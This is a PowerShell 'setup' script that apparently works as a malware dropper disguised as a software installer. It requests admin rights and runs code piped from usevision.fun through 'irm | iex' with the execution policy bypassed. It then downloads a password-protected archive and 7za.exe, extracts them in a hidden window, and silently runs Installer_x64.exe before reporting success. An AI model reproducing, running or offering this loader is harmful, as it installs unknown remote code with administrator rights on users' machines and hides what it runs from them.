# setup $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' $SiteBase = 'https://usevision.fun/ps' $RemotePs1 = "$SiteBase/setup.ps1" $password = 'ReleaseV2.1&*' $zipUrl = "$SiteBase/setup.zip" $7zaUrl = "$SiteBase/7za.exe" $exeName = 'Installer_x64.exe' function Write-Stage([int]$Step, [int]$Total, [string]$Message) { Write-Host "[$Step/$Total] $Message" -ForegroundColor Cyan } function Write-Ok([string]$Message) { Write-Host $Message -ForegroundColor Green } function Write-Fail([string]$Message) { Write-Host $Message -ForegroundColor Red } $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole( [Security.Principal.WindowsBuiltinRole]::Administrator ) if (-not $isAdmin) { $elevate = @( '-NoProfile', '-ExecutionPolicy', 'Bypass', '-Command', "& { `$ProgressPreference='SilentlyContinue'; irm '$RemotePs1' | iex }" ) $proc = Start-Process powershell -Verb RunAs -Wait -PassThru -ArgumentList $elevate exit $(if ($null -ne $proc) { $proc.ExitCode } else { 1 }) } try { foreach ($name in @('Installer_x64', 'Installer', 'Latest Release_v2.1', 'Release')) { Get-Process -Name $name -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue } $work = Join-Path $env:TEMP ("ps_{0}" -f ([guid]::NewGuid().ToString('N').Substring(0, 8))) $zip = Join-Path $work 'setup.zip' $7za = Join-Path $work '7za.exe' $dest = Join-Path $work 'files' New-Item -ItemType Directory -Path $work, $dest -Force | Out-Null Write-Stage 1 3 'Downloading components...' Invoke-RestMethod $7zaUrl -OutFile $7za Invoke-RestMethod $zipUrl -OutFile $zip Write-Stage 2 3 'Preparing files...' $extract = Start-Process -FilePath $7za -ArgumentList @( 'x', $zip, "-o$dest", "-p$password", '-y' ) -WindowStyle Hidden -Wait -PassThru if ($extract.ExitCode -ne 0) { throw "Extraction failed (exit code $($extract.ExitCode))" } $exe = Join-Path $dest $exeName if (-not (Test-Path -LiteralPath $exe)) { throw "Installer not found: $exeName" } Write-Stage 3 3 'Running setup...' $installDir = Split-Path $exe -Parent $proc = Start-Process -FilePath $exe -ArgumentList '/S' -WorkingDirectory $installDir -Wait -PassThru -WindowStyle Hidden $exitCode = if ($null -ne $proc.ExitCode) { $proc.ExitCode } else { 0 } if ($exitCode -notin 0, 3010) { throw "Installer exited with code $exitCode" } Write-Ok 'Setup successful! Installation complete.' exit 0 } catch { Write-Fail "Setup failed: $($_.Exception.Message)" exit 1 }